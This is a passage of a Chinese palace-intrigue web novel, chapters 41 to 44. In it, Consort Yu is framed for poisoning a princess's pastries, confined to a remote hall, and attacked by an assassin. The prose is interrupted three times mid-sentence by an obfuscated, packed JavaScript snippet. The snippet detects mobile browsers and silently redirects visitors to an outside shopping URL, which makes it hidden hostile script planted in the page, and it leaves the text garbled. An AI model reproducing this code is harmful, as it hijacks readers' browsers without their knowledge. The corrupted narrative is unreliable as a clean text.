“谢凝华。” “定是她察觉我们近来走得太近,起了疑心。”文淑妃的声音里终于带上了几分焦虑,于少微却猛地抬头,语速飞快:“不对!若她真识破了我们的计划,绝不会只做这些!这分明是她没抓到实据,先拿我开刀试探!” 文淑妃一怔,随即抚着胸口舒了口气:“你说得对,是我慌了神。” 接连的惊悸反而让于少微冷静下来,她抬手按了按发紧的太阳穴,对槐序吩咐道:“你从侧门溜出去,去未央宫请皇后娘娘……” “不必。”文淑妃抬手打断,“德妃肯定派人去请皇后了,未央宫与福宁宫离得近,眼下说不定皇后已经到福宁宫了。” 于少微点头,语速加快:“那你去找青阳,再带人把晴雨阁的门窗都封死,每个角落都守紧了,有任何可疑人等立刻拿下。” “锦书,你带四个身手好的太监,跟着一起去晴雨阁。”文淑妃随即补充,锦书领命,转身就与槐序一同快步离去,殿内瞬间安静下来。 于少微望着文淑妃,声音里带着一丝恳切:“今日之事,多谢娘娘。还请娘娘……陪我走一趟福宁宫。”她说着便要起身,可双腿早已发麻,刚站直就一阵发软,竟又跌回了椅上。 文淑妃见状,嗤笑一声:“你就这点能耐?前些日子在我面前不是挺狂的吗?” 于少微满脸苦涩,扶着桌沿再次尝试站起,一只细白的手突然伸到了她面前,她抬眼望去,文淑妃并未看她,侧脸线条冷硬,微撇的嘴角挂着一丝若有若无的轻蔑,可那只手却稳稳地停在她眼前。 于少微迟疑着将手放上去,刚一触碰,就被对方牢牢攥住手腕,一股力道从手臂传来,将她稳稳拉了起来。 “谢谢娘娘。”她脸色依旧苍白,勉强扯出一个比哭还难看的笑容。 “走吧,别让德妃等急了。”文淑妃没看她,握着她手腕的手却微微松了些,转而勾住她的臂弯,两人并肩跨过怡春宫的门槛,迎向那片越来越近的人影。 * 福宁宫 “此毒名唤川乌,勿食者会出现恶心呕吐、腹泻、头晕眼花等一系列症状。”太医对着上座的德妃和陈皇后解释道。 “娘娘您看到了吧,有人要害我的孩儿!”德妃紧紧搂着着亓珈,声音凄切。 陈皇后端坐在紫檀木椅上,她抬手拍了拍德妃的手背,声音带着不容置疑的威严:“你放心,残害皇嗣乃是重罪,本宫与皇上必定查个水落石出,还你和三公主一个公道。” 话音刚落,她锐利的目光扫过阶下侍立的宫人,眉峰一蹙:“于婕妤呢?传她即刻到福宁宫回话!” “回皇后娘娘,”一个小太监慌忙跪禀,“去晴雨阁传信的人说于婕妤不在宫中,奴才们已经四处去寻,方才来报,说于婕妤与淑妃娘娘已经在来的路上了。” 回答的宫人话音未落,就看见于少微与文淑妃的身影出现在殿门外。她没等宫人引路,径直穿过殿中侍立的人群,“扑通”一声跪在了皇后与德妃面前,声音异常坚定:“皇后娘娘,德妃娘娘,此事与臣妾无关,不是臣妾做的!” “你可承认这糕点是你制作然后派人送来?”皇后严厉道。 “糕点确是臣妾亲手所做,”于少微伏下身,声音虽轻却稳,“但送出前绝无毒物!臣妾宫中的侍女青阳可以作证,她提着食盒离开晴雨阁时,亲手检查过每一块糕点,绝无被动过手脚的痕迹。” 她顿了顿,抬起头,目光清亮地扫过殿中众人:“况且,臣妾就算有天大的胆子,也不会用如此蠢笨的法子,在自己亲手做的点心里下毒,与自投罗网有何区别?” “既如此,便传青阳上殿。”陈皇后朝殿外扬声道。 可没过多久,传信的太监却脸色惨白地跑了回来:“回、回娘娘,青阳姑娘回去后便去浣洗衣物,谁知途中失足跌进了御水河,被人救上来时已经昏迷不醒,太医说……说能不能醒还不好说。 于少微的心猛地一沉,像坠了块冰砣,青阳她——不对!唯一的证人突然出事,这绝非巧合,分明是有人在背后早做了安排,要断她的后路! “无人证,无对证。”一直静坐在侧首的谢皇贵妃突然开口,福宁宫的人来找皇后时,她恰巧也在未央宫,听闻福宁宫出事,便跟着一同过来了。她执起茶盏抿了一口,语气轻飘飘的,“于婕妤这话说得再动听,也是空口无凭。” “皇后娘娘,青阳只是昏迷,并非……”于少微急忙抬头辩解。 “住口。”谢皇贵妃冷冷打断她,“青阳本就是你宫里的人,她的话岂能作数?就算她醒了,说的也是你的吩咐,又有什么可信度?” 她转头看向陈皇后,“娘娘您说是不是这个理?拿不出实际证据,于婕妤便是这桩案子的第一嫌疑人,断不能轻饶。” 陈皇后没有接她的话,目光依旧落在于少微身上,眼底藏着一丝不易察觉的担忧,语气却依旧平静:“除了青阳,你还有其他证据能证明自己的清白吗?” 于少微的心彻底沉了下去。事发突然,她仓促之间哪里能准备什么证据?唯一能确定的,是这一切必定与谢凝华有关,可她又没有半分实据能指证皇贵妃!她紧咬着下唇,指尖掐进掌心。 “怎么?说不出来了?”谢皇贵妃的声音带着几分讥诮。 就在陈皇后微微叹气,似要下旨之时,一直缩在德妃怀里的亓珈突然抬起小脑袋,清脆的嗓音打破了殿内的死寂:“母后!儿臣不相信于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036522|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘娘会害我!于娘娘每次做的糕点都给我留最好看的,她不会害我的!” 这话一出,殿内众人齐齐一愣,谢皇贵妃最先反应过来,放下茶盏,语气亲昵地对亓珈道:“我的小公主,你年纪还小,不懂人心险恶,有些人表面笑得和善,背地里却藏着蛇蝎心肠呢。” 亓珈不喜欢她这副盛气凌人的模样,皱着小眉头别过脸,重新缩进德妃怀里,闷闷地哼了一声。 一直沉默的德妃这时终于动了动:“皇后娘娘,臣妾也觉得此事有几分蹊跷。昨日在文华殿的廊下,是辙儿亲口向于婕妤讨要的点心,她若真想下毒,断不会选在今日送过来,这般明显,岂不是自寻死路?” “哦?德妃这话是什么意思?”陈皇后眼中闪过一丝亮光,追问一句。 德妃却疲惫地摆了摆手,低头抚摸着女儿的发丝:“臣妾只是觉得时机太过可疑,并非要为于婕妤开脱。此事事关臣妾孩儿的性命,臣妾不敢徇私,还请娘娘秉公处置,查清真相。” “这是自然。”陈皇后颔首,刚要再问于少微,却见于少微抬起头,目光灼灼:“皇后娘娘,臣妾恳请查看那碟剩余的糕点。” “准。” 宫人捧着食盒上前,于少微仔细翻看那些糕点,指尖拂过表面的白霜,突然停住动作。她抬头时,眼中已多了几分笃定:“娘娘明鉴!这毒粉只撒在糕点表面,白霜之下的糕体完好无损。若臣妾真想下毒,定会在和面时便将毒粉揉进去,如此才能确保毒发,也更不易被察觉,岂会这般草率地撒在表面?” 她顿了顿,声音陡然提高几分:“更何况,臣妾与德妃娘娘素无恩怨,五殿下与六殿下也关系融洽,三公主向来喜欢臣妾做的点心,臣妾也经常与公主一起玩耍,无论如何臣妾并无下毒的动机啊!” “于婕妤说得不无道理。”陈皇后沉吟道。 “说得再有道理又如何?没有实际的证据就都是空话!”谢皇贵妃立刻出声反驳,“皇后娘娘,残害皇嗣非同小可,万不能因她几句狡辩就掉以轻心!为保皇嗣安全,理应先将她关押起来,严加审问!” “谢姐姐这话就偏颇了。”从来时就一直沉默的文淑妃突然开口,她目光平静地迎上谢皇贵妃的视线,“下毒一事处处存疑,唯一的证人昏迷不醒,此时便定于婕妤的罪,未免太过仓促。臣妾提议,不如先将青阳接入太医院悉心诊治,等她醒后问清经过,再做定论。至于于婕妤,可暂禁足宫中,派人看守,既不委屈她,也能让众人安心,娘娘以为如何?” “不行!”皇贵妃出声阻止,“此等毒妇,还留着做甚?” “事情还没查清楚,谢姐姐就这么着急给人定罪了?难道你是知道什么内情?既然如此也赶紧拿出来和大家说道说道,也好早日结案,还后宫一片清静。”文淑妃毫不客气地呛了回去。 ““淑妃如此维护于婕妤怕才是心里有鬼吧,你与于少微近日走得极近,怕是早就串通一气了吧?说不定这下毒的主意,还有你的份!” 文淑妃与于少微飞快对视一眼——果然是她! “皇贵妃慎言!”文淑妃脸色一沉,“饭可以乱吃,话却不能乱讲!您说臣妾串通于婕妤,可有证据?若拿不出证据,便是诬陷后宫妃嫔,此事传到皇上耳中,您担待得起吗?” “你——” “够了!”陈皇后猛地拍了下扶手,“吵吵嚷嚷,成何体统!” 殿内瞬间鸦雀无声,文淑妃低低朝皇贵妃翻了个白眼,垂眸不再看她,皇贵妃一脸不忿,将目光转向皇后,还欲再劝。 就在这时,一直沉默的德妃突然开口:“皇后娘娘,臣妾觉得淑妃娘娘的提议可行,只不过为了避嫌,禁足的地点换个地方吧。” 陈皇后沉吟片刻,终于扬声道:“传本宫旨意,将于婕妤暂禁宁心苑,派人严加看守,不得苛待。另将青阳接入太医院,全力救治,待她醒后即刻回话!在此之前,任何人不得擅自审问于婕妤,违者按宫规处置!” 42. 第四十二章 聚集在福宁宫的众人陆续散去,德妃疲惫地揉了揉眉心,吩咐道:“让宁嬷嬷带公主去休息。” 宫人应声退下寻人,殿内里骤然空旷下来,亓珈从母妃怀中轻轻挣出,自己找了个位置坐下,小眉头微微蹙着,担忧地问道:“母妃,于娘娘会出事吗?” 德妃看向女儿,神色复杂,轻声反问:“于娘娘送你的点心有毒,你不害怕吗?” 亓珈先点头,又飞快地摇了摇:“儿臣怕有毒的点心,但不怕于娘娘。” 德妃定定望着女儿稚嫩的脸庞,半晌,重重叹了口气:“有珈儿替她惦记着,于娘娘会没事的。” 亓珈懵懂地眨了眨眼,抿着小嘴想了想,突然抬起头:“我今天要去接哥哥下学!” 德妃有些疑惑:“你不是一向不爱去文华殿吗?” “我要找五哥,让他去救于娘娘!”亓珈攥紧小拳头,语气格外认真,可说着说着,声音慢慢低了下去,眉眼也耷拉下来,整个人蔫蔫的,“就算……就算暂时救不了,去陪陪于娘娘也好,宁心苑太偏了……” 德妃看着女儿可怜巴巴的模样,心瞬间软了下来,正要开口劝慰,方才出去的宫人突然急匆匆跑进来,声音带着慌乱:“娘娘不好了!奴婢去找宁嬷嬷,发现她倒在自己屋里,怎么叫都叫不醒!” “什么?”德妃失声起身,声音有些发颤,“嬷,嬷嬷她可,可曾还有,有……”后面的话她怎么都说不下去。 “有!有气!”宫人连忙回道,“奴婢试过了,嬷嬷还有呼吸!” 德妃猛地松了口气,脱力般靠在椅背上,亓珈不知何时已跑到她身边,正一脸焦急地望着她。 “娘没事。”德妃摸了摸女儿的头,转头对宫人道:“快,立刻传太医!” 吩咐好宫人,她又看向亓珈,语气轻柔:“母妃要去见皇后娘娘,珈儿跟母妃一起去,好不好?” 亓珈乖巧点头,又有些迟疑地问:“那文华殿那边……” “今日怕是去不成了。”德妃温声道,“但母妃会派人给你哥哥和五哥传话,珈儿放心便是。” * 宁心苑 宁心苑是宫里最偏僻的宫殿之一,久无人居,又难见天日,整座殿宇都浸在化不开的阴冷潮湿里。于少微被人带到此处,甫一推门,刺骨的寒气便裹着陈腐的尘气扑面而来,她不由自主地打了个哆嗦,环顾四周,提着的心略略松了松,该有的家具物什还算齐全。 “婕妤请先安置吧,您身边的宫人去取换洗衣物了,一日三餐会有人送来,只是委屈您暂且在殿内待着。”讲话的宫女是陈皇后身边的桂芸姑姑,态度很客气。 于少微点点头,试探着问:“我在这里,可否允人探望?” 桂芸面露难色,话未说出口,于少微已懂了大半,她轻轻叹了口气,眼底掠过一丝倦意,声音更哑了些:“我知道了,辛苦姑姑。”说罢转身进了屋,抬手拂去椅子上的薄灰,拖着沉重的身子坐下。 桂芸望着她伶仃瘦弱的身影,心有不忍,上前两步压低声音:“宫中空出的宫殿不多,此处已经是其中条件最好的了,可想而知娘娘是顾念您的,婕妤先好好住着,莫要太过忧心,娘娘定会想办法的。” 于少微垂着头,轻轻道:“嗯,我相信娘娘。” 桂芸走后没多久,槐序提着两个鼓囊囊的包裹匆匆赶来,一进门便红了眼圈,抽噎着道:“奴婢想多带些东西,可皇贵妃派来的人盯着,根本不让……还有青阳,她…她呜呜……” 于少微起身接过包裹,静静等着槐序哭够,才缓缓开口,声音里带着化不开的累:“没事,有两身衣服就够了,晴雨阁那边都按我的吩咐安排了吗?” 槐序点点头,吸了吸鼻子:“都安排妥了,淑妃娘娘也派了人帮忙盯着。” “嗯,先歇会儿吧,你也累了。”于少微将包裹放在桌上,转身斜靠在椅背上,目光放空,直直望着梁上的横木,连动一动的力气都似被抽走了。 槐序惊魂未定,看着这阴森冷寂的宫殿,忍不住絮絮叨叨说起回晴雨阁的经历,话里满是后怕。于少微安静地坐着,指尖无意识地摩挲着椅扶手,没什么反应,槐序说得起劲,渐渐发现她根本没在听,只是望着一处发呆,声音便慢慢低了下去,最后彻底停了。 两人就这么静静坐着,谁也没再说话,日光从窗棂缝隙里钻进来,在梁上缓缓西移,一点点变浅、变暗,最终彻底坠入地底,只留满殿的阴冷,裹着两人沉默的影子,愈发沉寂。 送饭的宫人来得比想象中早些,槐序向领头的那位要了块湿抹布,将屋子里头唯一张高脚的方桌抹干净后,和于少微两人一起将食盒里的饭菜摆出来。 “看着还不错。”于少微叉腰看着桌上的碗碟,四菜一汤,菜色不必她日常吃得差。 “婕妤您真是好心态。”槐序愁容满面,发现自家婕妤在这阴森森一股霉味的屋子里也笑得出来。 于少微笑笑没说话,转身拖来两个绣墩,顺手递了一个给槐序,槐序受宠若惊的接过,见于少微已经稳稳的坐下了,不免又悲从中来:“委屈您了婕妤,这地方连张有靠背的椅子都没有。” “那不是有吗?”于少微朝屋中间的罗汉床努了努嘴。 “那不是椅子啊…而且还全是灰!奴婢去给您擦擦,干净了您再坐。”槐序哭的抽抽搭搭的。 “先吃饭吧。”眼看她就要抓起抹布过去了,于少微连忙制止。她怎么就没发现槐序这么爱哭呢?平常多稳重一姑娘,做事干净利落有条理,怎么现在就……唉,她突然想起,槐序日常再稳重,也不过是个二十出头的姑娘罢了。 看着槐序眼眶通红的望着自己,仿佛她受了天大的委屈般,于少微在心里笑笑,委屈吗?她想起上辈子刚毕业去工作时的光景,现在的条件她已经觉得很好了。 “快吃吧。”于少微夹了一筷子虾仁到她碗里。 槐序连连摆手,仿佛下一秒就要跳起来:“这不合规矩婕妤!” “咱们都这样了,谈什么规不规矩的,赶紧吃吧,不然菜要冷了。” 不知是哪句话触到槐序的泪腺,姑娘嘴角一撇,带着泣音道:“之前在晴雨阁婕妤才不怕菜会凉……” 眼见人又要哭起来了,于少微真是怕了她,直接了当来了一句:“我真的不委屈,之前我在于家的时候住的屋子比这里还要——” “好了好了我不说了,吃饭好吗?咱赶紧吃饭!”她不敢再多说一句,只一个劲地闷头刨饭。 耳边的哭声渐渐停止,于少微松了口气,忽然又听到几声很轻的呼唤,她四处望了望没看见人,顿时起了一声鸡皮疙瘩,这屋子不会闹鬼吧?! 越想越害怕,她干笑着开口:“嗳呀真是,你说这大晚上的我听到有人在喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047684|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我母妃呢哈哈,这都出幻觉了哈哈肯定不是鬼你说是吧哈哈哈……” “婕妤,奴婢好像也听到了。”槐序咽了咽口水,“好像是从上面传来的。”她指了指头顶。 于少微顿时浑身的汗毛竖起,她攥紧手中的筷子,慢慢地抬头—— “啊——” “母妃!是我,母妃!” 于少微瞬间捂住自己的嘴,还腾出一只手顺便捂住了槐序的。 “唔……”槐序瞪大眼睛看向于少微。 “怎么回事!”外头有侍卫询问。 “没事!刚刚有只老鼠突然窜出来!”于少微高声回道。 “要不要属下进来——” “不用!不用进来,已经跑没影了!” 侍卫不再说话,于少微松开捂嘴槐序的手,冲她比了个噤声的手势,一脚踩上绣墩,冲着房梁上蹲着的亓轸伸手:“快,拉住我!你先下来!” 少年看着那只离自己还有些距离的手臂,遗憾地摇了摇头,在于少微惊恐的目光下,轻巧地跳了下来。 “你疯啦!”于少微冲到少年身边,低声怒斥。 “儿臣心里有数。”亓轸展示性的转了转脚踝,同样压低声音回道。 于少微看见他没受伤心里松了口气,转眼又一巴掌拍在少年头顶上,低声威胁:“下次再让我看见你这样,有你好看的!” 亓轸缩了缩脖颈,没有回答这个问题,而是正色道:“您知道是谁害的您吗?” “我猜测是谢——额…我现在也不是很清楚,大概要等青阳醒了才能线索,啊不过不用担心,现在证据不足无法给我定罪,皇后娘娘会帮我的,德妃瞧着也不信我会下毒。”于少微打着哈哈道,心里懊悔的要命,差点就说漏嘴了! “是皇贵妃是吗?”亓轸问道。 “我也不知道哈哈,你怎么来了?什么时候来的?怎么跑到房梁上去了?”于少微目光飘忽,顾左右而言他。 “德妃娘娘派人给我传了话,一下学就来了,正门后门都有人看守不让进,我翻墙进来的。”亓轸一一答完,看着于少微严肃道:“害您的是皇贵妃对吗。” “可能吧,唉都说了我也不清楚,你这孩子怎么就那么死心眼呢,别问了哈,一下学就来了啊,是不是没吃饭,来来来我这里有饭你先吃点,嘶不对你直接回宫让厨房给你做就行,赶紧回去吧,累一天了早点歇息,明日还要上课呢。”于少微语速飞快,下意识推着亓轸往门口走。 “婕妤门外有侍卫。”槐序拦在门前,小声提醒道。 “哦哦哦对,那你,你——”她“你”半天也说不半个字,只能和亓轸大眼瞪小眼。 “算了,你怎么进来的就怎么出去吧,只此一次,下不为例。”于少微放弃道,语含威胁。 “我不走。”亓轸摇了摇头,声音很轻,却带着不容忽视的坚定。 “不走留在这干什么?你也看见了,这里没有你睡的地方!”于少微叉腰怒道,烦死了,本来就一脑门子官司,这臭小子还来给她添乱!等这事了了,看她怎么收拾他! “我睡地上!”亓轸飞快回了一句,又赶在于少微出口反驳时立马道:“皇贵妃为什么要害您?您和淑妃到底在谋划什么?” 于少微神色骤然一凛,眼底的温度瞬间褪得一干二净,她缓缓眯起眼,一字一顿道:“你调查我?” 43. 第四十三章 于少微的声音仿佛淬着冰,亓轸霎时遍体生凉,强作镇定道:“等您平安之后再说这个好吗?我们现在应该——” “什么时候开始的?”于少微冷冷打断道。 “母妃我们先谈您被陷害的事好吗?”亓轸脸色发白,声音有些焦虑。 “行啊,你想问什么?”于少微不带任何表情的睨了他一眼,重新坐回绣墩,拿起筷子继续吃饭。 “别站着了,坐下一起吃。”她抬眼看向杵在一旁的槐序。 槐序还没从方才二人剑拔弩张的对峙中回过神,闻言手忙脚乱应着:“哦哦,奴婢这就去给殿下取副碗筷……啊,好像没有多余的——” “我是让你坐下。”于少微看向她,一字一顿,语气不容置喙。 槐序愣在原地,偷偷瞟了眼神色僵硬的亓轸,咬了咬牙,慢慢挪到绣墩前坐下。 “愣着做什么?”于少微将面前的炒菜往她那边推了推,语气缓和了些,“累了一天,赶紧吃饭。” “……好。”槐序哆哆嗦嗦拿起筷子。 屋内静得只剩碗筷轻碰的脆响和细微的咀嚼声,槐序起初还时不时偷瞄亓轸,可随着腹中饥饿被饭菜的香气勾了出来,渐渐便收了心神,低头专心进食,没过多久,她和于少微便将桌上的饭菜吃了个干净。 “婕妤,您擦擦嘴。”槐序递过一方帕子。 于少微伸手接过,对她道:“你去叫外面的人进来收拾,再要些热水过来,我要沐浴……给你自己也要些。” 槐序没敢动,只是将目光移向亓轸伫立的方向,用意不言而喻。 于少微像是才想起这还有个不该在这的人,不耐烦的“啧”了一声,给了他两个选项:“你走还是不走?“ 话还没说完,自己就转身朝内室走去,亓轸见状赶忙跟上。 槐序站在原地跟着二人转身,确定看不见他们的身影后,才推开大门去喊外面的人进来收拾。 内室的床榻尚未铺好,于少微走上前伸手一摸,果然沾了满手灰尘,她皱了皱鼻子,环顾四周,除了一张看着摇摇欲坠的玫瑰椅,再无其他可坐之物,她嘴角微撇,掖了掖裙摆,正准备将就坐下 “您坐这上面。”亓轸抢先一步脱下外袍,铺在了床榻上。 那是件绣着竹叶纹的青色长袍,于少微低头看了眼,半个眼神都没分给它的主人,揣着手径直坐了上去。 外室收拾碗筷的人声渐渐平息,随后传来槐序重重带上门的声响,于少微这才抬眼,看向一直沉默伫立的少年,冷不丁开口:“再杵在那儿当哑巴,就回去做你的‘梁上君子’吧。” 亓轸连忙应声:“母妃,我——” “等等。”于少微突然打断他,面色冷硬,“只说正事,有要问的赶紧问。” 亓轸眼神一黯,仿佛被女子话里的冷漠刺到一般,垂在身侧的手掌悄悄攥拳,声音放得很轻:“今日事发前您都做了什么?可曾遇到什么可疑的人?” 于少微听着有点不耐烦,她要是知道现在就不会在这了,但转念一想亓轸是从文华殿直接赶过来的,并不知道福宁宫发生了什么,她忍住想赶人的冲动,耐着性子道:“在厨房做糕,让青阳送走,然后去怡春宫找淑妃,接着被带去福宁宫,没有遇到可疑的人事。” 亓轸沉吟片刻,低声道:“德妃说宁嬷嬷今日被人下了毒。” 于少微神色一凛,刚要开口追问,亓轸已抢先接话:“我已经让人去查宁嬷嬷今日的行踪,还有从晴雨阁到福宁宫的路径,今日有何人经过。” 闻言,于少微沉默了一瞬,随即语气带了几分嘲讽:“看来也用不着我多做什么了,毕竟你的人,最擅调查。” 亓轸自知理亏,垂首不语。 “青阳今日穿的衣裙有很大一片泥渍。”于少微似是自言自语。 亓轸猛地抬头,就听到她继续道:“所以很可能是青阳提着点心去福宁宫的路上被人弄脏了衣裙,又恰巧遇见宁嬷嬷,她急着回去浣洗,所以拜托…不对应该是宁嬷嬷主动要求替她将点心送去福宁宫……但宁嬷嬷也中毒了,所以凶手大概不是她,那……” 于少微皱着眉思索片刻,抬眼对亓轸道:“让你的人去查,今日御花园当值的宫人有哪些。” 亓轸点头:“儿臣这就去办。” “先等一下。”于少微忽然抬手叫住他,眸色沉了沉,这事她能推测出,那皇后和皇贵妃大概率也能猜到,陈皇后是帮她的,皇贵妃是要害她的,如果她知道她能猜到,她会做什么? “你去找皇后,告诉她我…不,你找到御花园的人了,对方把一切都招了,然后将消息散播到景——”她顿了顿,面无表情继续将话说完:“务必让景阳宫的人知道。” 亓轸明白她停顿的意味,掐了掐手心,飞快接话道:“儿臣再暗中带人盯着景阳宫的动作。” 于少微斜了他一眼,又继续道:“你再找几个宫人做假证,让他们无意中透露出自己是御花园的目击者并且遭到威胁,等到后半夜再让皇后以保护证人人身安全为名,将他们叫到一处组织一场审问。” “你觉得如何?”她询问少年的意见,毕竟她没做过这种事,比不得面前之人见识的多。 “儿臣觉得可行。”亓轸沉吟片刻回复道。 “行,那就麻烦你了。”于少微语气柔和了许多,“时间紧迫,你现在就去办吧。” 少年眼睛一亮,飞快点头,借着屋内那把破旧的玫瑰椅借力,几个跃步便隐入房梁,消失不见。 “还挺厉害。”她下意识喃喃道,话音刚落,脸色又瞬间沉了下来,恶狠狠道:“厉害个头!跟做贼一样!” 于少微独自坐了一会儿回顾方才的计划,将线索和逻辑一一厘清之后,她起身准备去叫槐序进来铺床,青色的衣袍在她眼角一晃而过,于少微突然愣住,想到衣服的主人似乎连晚膳都没吃就一刻不停的赶了过来,文华殿与宁心苑一东一西,隔在这皇宫两端,步行最快也要三刻钟,他定是一刻未歇地奔来的。 一丝悔意悄然爬上心头,可转瞬就被她强行压下 不!没什么好后悔的,她最厌恶别人窥探她的隐私,违背她的意愿做一些监视的事,即使打着为她好的名义。她既然不选择告知、不让他插手,就说明她自有打算,无论结果如何她都心甘情愿,亓轸这般所作所为,无论初衷是什么,都让她生出被侵犯、被轻视的恶感,更何况,她还担着他“母妃”的身份,他做这些的时候,有想过尊重她吗? 越想越气,于少微猛地将榻上的外袍扫到地上,起身推开内室的门,冲守在外面的槐序沉声道:“进来吧。” * 亓轸循着于少微的计划先去找了皇后,又亲自带人去景阳宫蹲守,他十分确定景阳宫那位肯定知道了他散布的消息,到了后半夜,皇后那边也派人组织了审问,可景阳宫却依旧没有丝毫动作,皇后那边的动作惊醒了半个后宫,与此事紧密相关的皇贵妃却一动不动,整座宫殿安静的过于反常。 亓轸的心像是被放在文火上煎熬,整个人有种说不出的焦灼,孟夏的深夜天气还有些凉,他却汗湿了中衣。 不对,一定有哪里出了问题!少年眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054294|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧锁,飞速回溯今夜所有细节,皇贵妃不是坐以待毙之人,她什么情况下会按兵不动? 按兵不动……如果她早就动了呢? !!! 少年突然脸色煞白,全力往宁心苑奔去。 * 于少微洗漱完就躺下了,这屋里没有别的床榻,她便开口让槐序今晚与她一起睡,奈何槐序死活不愿,两人争执半天,最后她先妥协,给槐序留了一床厚被子,由着她搬了绣墩进来守夜。 夜已深,四下人声已经绝迹,惟有不知哪来的呼啸的风声,于少微躺在床上辗转反侧,虽然身体与精神都已极度疲惫,她还是无法合眼,守在床头的槐序听到她接连翻身的动作,轻轻道:“婕妤睡不着吗?” 于少微“划拉”一声拉开床帐,看见槐序熬红的双眼,柔声道:“换你来睡吧,我想坐会儿。” “这不合规矩。”槐序死命摇头。 规矩规矩又是规矩,于少微心头一阵烦躁,她今日已经听够这个词了!不由分说地掀被下床,一把将槐序拽到床上,强硬道:“睡觉!这是规矩。” 槐序瞪着一双杏眼,懵懵地看着她,于少微语气又软了下来,轻柔道:“我睡不着,你先歇会儿,等会儿我想睡了再来换你。”边说着边拉下床帐,不再给她反驳的机会。 于少微披了件外衫,槐序不知道什么时候将亓轸那件青色的外袍捡起来搭在那张置在窗边的玫瑰椅上,有风从闭合不了的窗缝钻进,吹动衣摆,上面的刺绣暗纹仿佛竹影摇摆。于少微坐在窗前看着地上的月光慢慢移动位置,呼啸的风声渐渐小了,断断续续的,像是鬼在哭。 终于有了困意,她起身准备去榻上歇息,就在她转过身之际,余光突然瞥到一抹人影正像床榻靠近,心脏骤然缩紧,于少微狠掐自己大腿,硬生生将到嘴边的尖叫咽回喉咙,喉咙瞬间涌上一股腥甜,手脚冰凉的瞬间,她猛地扯下束衣的腰带,指尖颤抖得几乎握不住,屏住呼吸,一步一步 “啊——” “有刺客!” 凄厉的哭喊陡然炸响!是槐序!于少微瞅准时机,猛地扑上去,将腰带狠狠缠上刺客脖颈,双手拼尽全力收紧。榻上的被褥沾着一片鲜红的血迹,槐序捂着肩膀缩在床榻的最角落,一把匕首深深插在她的肩头,鲜血顺着指缝溢出,疼得浑身抽搐,哭喊着叫人。 然而,门外的侍卫却像全都消失般,无论她怎么喊都不见有人来,刺客吃痛,猛地挣扎,反手一把掐住于少微的脖颈,力道大得几乎要捏碎她的骨头。于少微双脚乱踢,拼命蹬踹,窒息感如潮水般涌来,眼前阵阵发黑,意识开始渐渐模糊…… 槐序见状,眼中闪过一丝狠厉,猛地咬牙,一把拔出肩头的匕首,鲜血瞬间喷涌而出,她疼得浑身发抖,死死咬住唇,悄无声息地爬到刺客身后,用尽全身力气,将匕首狠狠捅进刺客后背。 “呃啊——!”刺客痛呼出声,身体剧烈抽搐,重重摔倒在地,发出沉闷的巨响,于少微脖颈一松,踉跄着挣脱,大口大口喘着粗气,胸口剧烈起伏,刚缓过神就立刻扑到榻边去扶槐序。 “槐序!你怎么样?好多血……怎么会这么多血!”于少微的声音带着不可抑制的恐慌,双手都在发抖。 槐序勉强睁开眼,嘴唇颤抖得说不出话,“痛…好痛……娘娘…娘娘小心!!!” 于少微猛地回头,只见一道寒光带着血影,如闪电般迎面刺来,她下意识闭眼抬手去挡,预想中的剧痛并未降临,取而代之的是一声沉重的闷响。 她颤抖着睁开眼,站在她面前的是半张脸都是血的亓轸。 44. 第四十四章 浓郁的血腥味在黑暗中弥漫,屋内未点灯,唯有澄澈月光透过格窗斜斜渗入,将少年的面庞映得清晰,似从地狱爬出的阿修罗,带着慑人的冷冽。 于少微倒抽一口凉气,踉跄着后退半步,指尖猝不及防触到一片柔软肌肤,却没听见其主人的半分声响,她猛地转身,死死咬住下唇,颤抖着伸手去探槐序的鼻息。 还有气! 脑中紧绷的弦骤然断裂,她腿脚一软,重重跌坐在地,亓轸快步上前伸手想扶,刚一动作却被她厉声喝止。 “他…那,那个人他……”于少微声音发颤,急切地想要说些什么,声带却像被扼住般,半天挤不出一句完整的话。 亓轸已经走到于少微的身边,无视她无力的抗拒,小心翼翼地将浑身发软的她扶到榻边靠着,自己守在旁供她借力。 “他…他死了吗?”她总算找回声音,沙哑得厉害。 地上方才还在断断续续呻吟的刺客不知何时没了声音,于少微死死盯着地上的黑影,试着转了转手腕,不行,还是没有力气。 “我去看看。”亓轸会意,扶着她的肩让她靠稳床柱,抬脚便要上前。 “别——”于少微伸手想去拦,挣扎着就要起身。 